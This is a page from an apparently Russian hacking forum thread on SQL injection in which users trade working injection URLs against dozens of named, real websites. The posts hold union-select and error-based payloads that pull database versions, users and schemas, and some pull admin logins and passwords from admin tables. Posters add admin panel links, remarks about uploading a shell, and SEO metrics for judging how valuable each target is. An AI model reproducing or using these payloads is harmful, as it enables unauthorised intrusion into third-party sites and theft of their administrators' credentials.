SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 759 of 798
  1. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Я помогу :D
    http://www.yogacenter.ru/page.php?id=-20+union(select+1,2,3,4,version())
     
    _________________________
    #15161 kingbeef, 11 Oct 2012
    Last edited by a moderator: 11 Oct 2012
    2 people like this.
  2. vitya1599

    vitya1599 New Member

    Joined:
    24 Nov 2011
    Messages:
    19
    Likes Received:
    4
    Reputations:
    0
    Code:
    http://www.breakdanceliga.ru/index.php?g=420012+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+



    Code:
    http://www.crep.com.au/news.php?p=107+and+1=0+union+select+1,2,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--+
    Админка: http://www.crep.com.au/news/wp-admin .
    Шелл залить не пробовал, но до админки 100% добраться можно.



    Code:
    http://elmos.ru/index.php?z=cat&cat_main_id=7&cat_group_id=0&CID=46+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15--+
    Вот ещё.
     
    #15162 vitya1599, 11 Oct 2012
    Last edited: 12 Oct 2012
  3. seozone

    seozone Member

    Joined:
    11 Sep 2012
    Messages:
    30
    Likes Received:
    7
    Reputations:
    0
    Тиц: 10
    Ru трафа: 6000 уников
    Pr: 4​
     
    #15163 seozone, 12 Oct 2012
    Last edited: 12 Oct 2012
  4. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.melori-rosenberg.com
    Code:
    http://www.melori-rosenberg.com/artists-home.php?id=74%09union%09select%091,concat_ws(user(),database(),version()),3--
    PR 3
    [email protected]

    chernomor-cosmetics.com.ua
    HTML:
    http://chernomor-cosmetics.com.ua/school.php?id=-64%20union%20select%201,2,3,group_concat(login,0x03a,pass)+from+admin
    Тиц 10
    http://chernomor-cosmetics.com.ua/admin/
     
    #15164 DyukiN, 12 Oct 2012
    Last edited: 12 Oct 2012
  5. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.isolmax.com
    PHP:
    http://www.isolmax.com/ang/produit.php?ID=-5'+union+select+1,2,concat_ws(user(),database(),version()),4,5,6--+f
    PR 1
    [email protected]

    www.securitysourcing.net
    PHP:
    http://www.securitysourcing.net/categorie-produit.php?id=-1'+union+select+1,2,group_concat(id_admin,0x03a,login_admin,0x03a,password_admin),4,5,6,7,8,9,10,11,12,13,14+from+administrateur--+f
    PR 1
    [email protected]

    www.hss-secure.com
    PHP:
    http://www.hss-secure.com/categorie-produit.php?id=-1'+union+select+1,2,group_concat(id_admin,0x03a,login_admin,0x03a,password_admin),4,5,6,7,8,9,10,11,12+from+administrateur--+f
    [email protected]
     
    #15165 DyukiN, 13 Oct 2012
    Last edited: 13 Oct 2012
    1 person likes this.
  6. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Shop
     
    #15166 OxoTnik, 13 Oct 2012
  7. vitya1599

    vitya1599 New Member

    Joined:
    24 Nov 2011
    Messages:
    19
    Likes Received:
    4
    Reputations:
    0
    http://www.newssafety.org/newsletter/news.php?v=34+and+1=0+union+select+1,2,3,4,5--+
     
    #15167 vitya1599, 13 Oct 2012
  8. seozone

    seozone Member

    Joined:
    11 Sep 2012
    Messages:
    30
    Likes Received:
    7
    Reputations:
    0
    Code:
    http://www.ttkplus.ru/index.php?pages=-91+union+(select+1,2,3,4,5,6,7)
    Тиц: 10
     
    #15168 seozone, 14 Oct 2012
  9. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Что мешало сделать так ?
    http://tourpackagesofindia.com/discussion.php?bid=-58+union+select+1,2,3,version(),5--+f
     
    _________________________
    #15169 kingbeef, 15 Oct 2012
  10. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    eurociti.ru

    PHP:
    http://www.eurociti.ru/page.php?id=40+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY)30
    (PR)3
    5.0.83-log
     
    #15170 qaz, 17 Oct 2012
    1 person likes this.
  11. Иван8

    Иван8 Elder - Старейшина

    Joined:
    21 Aug 2008
    Messages:
    71
    Likes Received:
    11
    Reputations:
    6
    Code:
    http://www.foxconncase.ru/index.php?id=12&series=-19+union+select+1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16--+&cHash=a7c923f3b846bc69c8be992da104ed39
     
    #15171 Иван8, 17 Oct 2012
  12. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    victoriya-security.ru

    PHP:
    http://www.victoriya-security.ru/consultation.php?id=35%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.61-log
    (CY)10
    (PR)2
    -----------------------------------------------------------------------------------
    sea.infoflot.ru

    PHP:
    http://sea.infoflot.ru/ru/articles/?id=12%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.5.28
    (CY)20
    (PR)3

    ------------------------------------------------------------------------------------
    bdva.ru

    PHP:
    http://bdva.ru/konserts.phtml?id=36+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.63-0+squeeze1-log
    (CY)850
    (PR)0
    -----------------------------------------------------------------------------------
    frogtur.ru

    PHP:
    http://frogtur.ru/country.php?id=13+union+select+1,version%28%29,3,4,5--+
    (CY) 0
    (PR) 3
    5.1.49-rel11.3-log
    -----------------------------------------------------------------------------------
     
    #15172 qaz, 17 Oct 2012
    1 person likes this.
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.localtoolbox.com/corporate/index.php?cat_id=-93'+union+ select+1,2,3,version(), user(),6,7, database(),9,10,11--+
    Спасибо Skofield
     
    #15173 GhostW, 19 Oct 2012
    1 person likes this.
  14. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Nothing interesting here.

    ТИц == 0, PR == 3;

    PHP:
    http://www.microage-bathurst.ca/products.php?id=-1+union+select+1,cast(concat_ws(0x03a,user(),database(),version())+as+binary)+--+
    ТИц == 0, PR == 4;

    PHP:
    http://www.theswancorp.com/index.php?prod=-1+union+select+1,concat_ws(0x03a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
    ТИц == 0, PR == 2;

    PHP:
    http://www.pamwright.com.au/shop/shop.php?cat=-1+union+select+1,2,3,4,5,concat_ws(0x03a,user(),database(),version()),7+--+
     
    #15174 Га-Ноцри, 19 Oct 2012
    1 person likes this.
  15. Van[ya]

    Van[ya] New Member

    Joined:
    7 Oct 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    http://vkpiarka.ru/index.php?act=main'+union+select+1,2,3,version(),user(),6,7,database()
    -+

    Перестройте под себя .

    Сервис для накрутки ВК .
     
    #15175 Van[ya], 20 Oct 2012
  16. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    ukrobyava.com.ua

    PHP:
    http://www.ukrobyava.com.ua/idv.php?id=27616%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 10
    (PR) 2
    5.0.90
    ----------------------------------------------------------------------------------
    paulduncan.org

    PHP:
    http://paulduncan.org/?id=302+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.0.45-5
    (CY) 0
    (PR) 4
    ----------------------------------------------------------------------------------
    dfm74.ru

    PHP:
    http://dfm74.ru/site/index/di_news/?id=104%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.0.45
    (CY) 20
    (PR) 3
    -----------------------------------------------------------------------------------
    38.gibdd.ru
    управление гибдд Иркутсеой области ))

    PHP:
    http://38.gibdd.ru/news_all.php?id=-147%27+union+select+1,2,3,4,version%28%29,6,7,8--+
    (CY) 40
    5.0.87-percona-highperf-log

    -----------------------------------------------------------------------------------
    petrova-tikhonov.ru


    PHP:
    http://www.petrova-tikhonov.ru/diary/index.php?id=188+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 250
    (PR) 3
    5.0.90
    -----------------------------------------------------------------------------------
    sibabitur.ru

    PHP:
    http://www.sibabitur.ru/vuz.php?id=193+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

    5.0.95-community-log
    CY) 30
    PR) 2
    -----------------------------------------------------------------------------------
     
    #15176 qaz, 20 Oct 2012
    2 people like this.
  17. NMilkin

    NMilkin New Member

    Joined:
    19 May 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    http://www.tvbase.ru/catalog.php?class=3&type=-71+and+1=2+union+select+1,2,concat(@@version,0x3a,user(),0x3a,database()),4

    http://www.hifiend.ru/catalog.php?class=2&type=-71+and+1=2+union+select+1,2,concat(@@version,0x3a,user(),0x3a,database()),4

    как понял по сути это один магазин
     
    #15177 NMilkin, 21 Oct 2012
    Last edited: 24 Oct 2012
  18. voold

    voold New Member

    Joined:
    12 Aug 2012
    Messages:
    1
    Likes Received:
    3
    Reputations:
    -5
    PHP:
    http://www.mosrental.ru/buy/id/-24+union+select+1,2,3,4,5,6,user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+
    Тиц 10
    Пр 1
     
    #15178 voold, 21 Oct 2012
  19. Van[ya]

    Van[ya] New Member

    Joined:
    7 Oct 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    1-инъекция
    http://shveimash.spb.ru/index.php?type=catalog&id=110&atype=-1+union+select+1,table_name,3+from%20information_schema.tables&cat=54
    2-инъекция
    http://shveimash.spb.ru/index.php?type=catalog&id=110&atype=-1+union+select+1,column_name,3+from%20information_schema.columns+where+table_name=0x6c696e6b73&cat=54

    Что делать решать Вам :)
     
    #15179 Van[ya], 21 Oct 2012
  20. Van[ya]

    Van[ya] New Member

    Joined:
    7 Oct 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    http://tourpackagesofindia.com/discussion.php?bid=-58+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=0x4348415241435445525f53455453+--+
     
    #15180 Van[ya], 21 Oct 2012
(You must log in or sign up to post here.)
Page 759 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.